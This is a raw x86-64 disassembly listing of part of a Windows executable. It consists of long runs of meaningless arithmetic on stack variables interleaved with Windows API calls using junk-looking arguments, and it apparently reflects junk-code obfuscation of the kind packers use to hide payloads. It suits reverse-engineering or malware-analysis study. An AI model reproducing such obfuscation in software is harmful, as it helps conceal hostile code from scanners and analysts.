mov ecx, dword [rsp + 0x4b3c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bb8]
add eax, ecx
mov word [rsp + 0x1bd0], ax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [0x140177038]
and eax, ecx
mov byte [rsp + 0x1fa], al
movzx ecx, word [rsp + 0x1bac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc8], ax
lea rdx, [rsp + 0x1a220]
mov rcx, qword [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5870], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1bd8]
sub eax, ecx
mov word [0x1401773b8], ax
jmp 0x140013372
mov rax, qword [rsp + 0xb180]
mov qword [rsp + 0xb348], rax
lea rax, [rsp + 0xb348]
mov qword [rsp + 0xb350], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
add eax, ecx
mov word [rsp + 0x1bb8], ax
cmp dword [rsp + 0x584c], 0x2942
jae 0x1400139d1
mov eax, dword [rsp + 0x584c]
add eax, 0x36
mov dword [rsp + 0x584c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [0x1401773a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x5814]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57c8], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21b]
sub eax, ecx
mov byte [rsp + 0x39f], al
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfec], ax
movzx eax, byte [rsp + 0x39b]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140183b48], al
movzx eax, byte [rsp + 0x3a3]
movzx ecx, byte [rsp + 0x3a0]
or eax, ecx
mov byte [rsp + 0x39b], al
movzx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
sar eax, cl
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb160]
mov qword [rsp + 0xb358], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb358]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x53f8], eax
mov eax, dword [rsp + 0x5814]
mov ecx, dword [rsp + 0x58a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
jmp 0x14001385a
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xa2c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9f48], rax
movsx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfec], ax
movzx eax, word [rsp + 0x1bc4]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b20], ax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [0x140183b38]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb130]
mov rdx, qword [rsp + 0xa2c0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x140013b17
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov byte [reloc.SHELL32.dll_PathMakeUniqueName], al
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov qword [rsp + 0xb360], rax
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x58bc], eax
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0xb180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb250], rax
movzx ecx, word [rsp + 0x1bac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xb138]
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a1], al
movzx eax, byte [rsp + 0x39f]
mov byte [rsp + 0x3a4], al
jmp 0x140013c81
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [0x140183b48]
add eax, ecx
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x3a3]
sub ecx, edx
cmp eax, ecx
jge 0x140013c81
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x492c]
sar eax, cl
mov dword [rsp + 0x53f8], eax
mov eax, dword [rsp + 0x58b0]
movzx ecx, al
mov eax, dword [0x140177394]
shl eax, cl
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [0x140183b38]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa2c0], rax
movzx eax, word [rsp + 0x1bcc]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140177390], ax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ba0], ax
lea rax, [rsp + 0xb288]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x92c8]
mov qword [rsp + 0x20], rax
mov r9d, 0x1d
lea r8, [rsp + 0xb170]
mov edx, 0x7c
mov rcx, qword [rsp + 0xb328]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x57ec], eax
mov rax, qword [rsp + 0xb130]
mov qword [rsp + 0x20], rax
movzx r9d, byte [rsp + 0x3a4]
mov r8d, dword [rsp + 0x48a8]
mov rdx, qword [rsp + 0xb1e0]
movzx ecx, byte [rsp + 0x39f]
call fcn.14015b380
movzx eax, byte [rsp + 0x3a3]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a0], al
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfec], ax
mov eax, dword [rsp + 0x57e4]
add eax, 0xe8
mov dword [rsp + 0x57e4], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
and eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x48a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb200]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb330]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5894], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbc05
mov rcx, qword [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58c0], eax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0xb1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb188], rax
mov rax, qword [0x140177398]
mov rcx, qword [rsp + 0xa240]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb348], rax
movzx eax, word [rsp + 0x1b20]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140177390], ax
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5820], eax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [reloc.SHELL32.dll_PathMakeUniqueName]
shl eax, cl
mov byte [rsp + 0x3a1], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb340], rax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ba8], ax
movsx eax, byte [rsp + 0x39f]
movsx ecx, byte [rsp + 0x39d]
xor eax, ecx
mov byte [rsp + 0x39a], al
cmp dword [rsp + 0x57e4], 0xa500
jbe 0x140013c81
mov rax, qword [rsp + 0xb2b0]
movzx ecx, al
mov rax, qword [0x140177398]
sar rax, cl
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
and eax, ecx
movsx ecx, byte [rsp + 0x39a]
movsx edx, byte [rsp + 0x39f]
sub ecx, edx
cmp eax, ecx
jge 0x140013fc1
mov dword [rsp + 0x28], ILAppendID
lea rax, [rsp + 0xb228]
mov qword [rsp + 0x20], rax
mov r9d, 0x64
mov r8, qword [rsp + 0xb198]
mov rdx, qword [rsp + 0xb170]
mov rcx, qword [rsp + 0xb318]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x58c4], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x5834]
mov rax, qword [rsp + 0xb2c0]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x48a8]
mov ecx, dword [0x1401773a8]
call fcn.14015b410
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xb250]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0x1a2c]
xor eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x58a8]
movzx ecx, al
mov eax, dword [rsp + 0x57c8]
shr eax, cl
mov dword [rsp + 0x5894], eax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x48a8], eax
mov edx, dword [rsp + 0x58a8]
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rax]
call fcn.14015b480
mov r8, qword [rsp + 0xb168]
mov rdx, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0xb170]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x58c8], eax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0x9f48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fa], al
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b98]
sub eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb250]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb368], rax
jmp 0x14015ab12
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xa2c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb130]
mov rdx, qword [rsp + 0xb1e0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14015ab12
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
add eax, ecx
mov byte [rsp + 0x3a4], al
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xa2c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9800]
mov rdx, qword [rsp + 0xb1e0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x140014176
movzx eax, word [rsp + 0x1bd0]
movzx ecx, word [rsp + 0x1ba4]
or eax, ecx
mov word [rsp + 0x1b94], ax
lea rax, [rsp + 0xb220]
mov qword [rsp + 0x20], rax
mov r9d, PathMakeUniqueName
lea r8, [rsp + 0x39c]
mov edx, 0x51
mov rcx, qword [rsp + 0xb378]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x58cc], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
shl eax, cl
mov rcx, qword [rsp + 0xb258]
mov word [rcx], ax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb200]
mov qword [rsp + 0xb380], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb380]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xb1c8]
mov rcx, qword [rsp + 0xb130]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb330]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x57c8], eax
mov dword [rsp + 0x20], 0xca
lea r9, [rsp + 0xb348]
mov r8d, 0x9f
mov rdx, qword [rsp + 0xb170]
mov rcx, qword [rsp + 0xb238]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x58d0], eax
mov r8d, dword [rsp + 0x5814]
mov edx, dword [rsp + 0x57c8]
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rax]
call fcn.14015b1f0
jmp 0x1400142dd
mov rax, qword [rsp + 0xb330]
mov ecx, dword [rsp + 0x57b0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb1b8]
mov rdx, qword [rsp + 0xb2b8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jb 0x1400142dd
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
mov eax, dword [rsp + 0x4b3c]
mov dword [rsp + 0x58d4], eax
cmp dword [rsp + 0x58d4], 0xffffec40
je 0x1400141e6
jmp 0x1400142c0
mov r9d, 2
xor r8d, r8d
mov edx, 0xa980
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58c0], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b20]
sub eax, ecx
mov word [0x1401773bc], ax
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39c], al
lea rax, [rsp + 0x1ba8]
mov qword [rsp + 0xb388], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.ENOWloUZUa4asJ4EB6FgWC_f5tQIC1t1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb390], rax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov qword [rsp + 0xb398], rax
mov rax, qword [rsp + 0xb320]
mov rcx, qword [rsp + 0xa240]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
jmp 0x1400142dd
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
mov dword [rsp + 0x58d8], 0x3443
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x3a0]
and eax, ecx
movzx ecx, byte [rsp + 0x39e]
mov rdx, qword [rsp + 0xb1a8]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x14001444d
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0x9800]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb188], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bcc]
shl eax, cl
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140177038], al
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39d]
xor eax, ecx
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0xb1c8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0xb140]
movzx r9d, byte [rax]
mov r8d, dword [rsp + 0x53f8]
mov rax, qword [rsp + 0xb270]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x39d]
call fcn.14015b380
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
lea rax, [rsp + 0xb218]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xb1d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], SHDoDragDrop
lea r9, [rsp + 0xb258]
mov r8d, 0x22
mov rdx, qword [rsp + 0xb178]
mov ecx, 0x37
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x57ec], eax
mov rax, qword [rsp + 0xa240]
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [0x1401773b8]
and eax, ecx
mov rcx, qword [rsp + 0xb258]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f48]
mov rcx, qword [rsp + 0xa2c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb270]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x492c], eax
mov eax, dword [rsp + 0x58d0]
mov ecx, dword [rsp + 0x57a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39e]
add eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1188]
add eax, ecx
mov word [0x140177390], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xa240]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb398], rax
movzx eax, word [0x1401773bc]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bcc], ax
mov rcx, qword [rsp + 0xb308]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5830], eax
mov eax, dword [rsp + 0x5864]
add eax, 0x7d
mov dword [rsp + 0x5864], eax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bd8], ax
movzx eax, byte [rsp + 0x39c]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58a8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5814], eax
mov eax, dword [rsp + 0x4b3c]
mov rcx, qword [rsp + 0xb160]
mov qword [rsp + 0xb3a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xa2c0]
movzx ecx, al
mov rax, qword [rsp + 0xb188]
shl rax, cl
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39f]
add eax, ecx
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a2]
sub eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x1401773bc]
and eax, ecx
mov word [0x1401773a4], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rcx, qword [rsp + 0xb308]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x1bd8]
movsx ecx, word [rsp + 0x1bb0]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0x92c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb3a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x4b3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xb188]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fa]
sub eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
or eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb320]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xb360]
movzx ecx, al
mov rax, qword [rsp + 0xa240]
sar rax, cl
mov qword [rsp + 0xb368], rax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb2b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
movsx eax, byte [rsp + 0x21b]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39d], al
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba4]
add eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fa], al
cmp dword [rsp + 0x5864], 0xbd17
jb 0x14001447c
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x1401773bc]
sub eax, ecx
mov word [rsp + 0xaec], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb1f8], rax
movsx eax, word [rsp + 0x1ba0]
mov dword [rsp + 0x58dc], eax
cmp dword [rsp + 0x58dc], 0
je 0x14001492e
cmp dword [rsp + 0x58dc], 0x473
je 0x14015a961
jmp 0x14015aa2f
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b20]
sub eax, ecx
mov word [rsp + 0xfe8], ax
movsx eax, byte [rsp + 0x21b]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x38b], al
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58b0], eax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [0x1401773a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
movzx eax, byte [rsp + 0x3a0]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
shl eax, cl
mov word [rsp + 0x1bd8], ax
movzx ecx, word [rsp + 0x1bc8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc8], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
xor eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39e]
or eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
movsx eax, word [rsp + 0xfec]
movsx ecx, word [rsp + 0x1b98]
sar eax, cl
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov dword [rsp + 0x58c4], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
mov eax, dword [rsp + 0x4b3c]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb348]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb368], rax
movzx eax, byte [reloc.SHELL32.dll_PathMakeUniqueName]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd0]
sub eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39d]
and eax, ecx
mov byte [rsp + 0x38b], al
lea rcx, [rsp + 0x187e8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x58ac], eax
lea rdx, [rsp + 0xb210]
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5838], eax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb138]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov ecx, dword [0x140177394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xb270]
mov qword [rsp + 0xb3b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3b0]
mov rax, qword [rax]
shr rax, cl
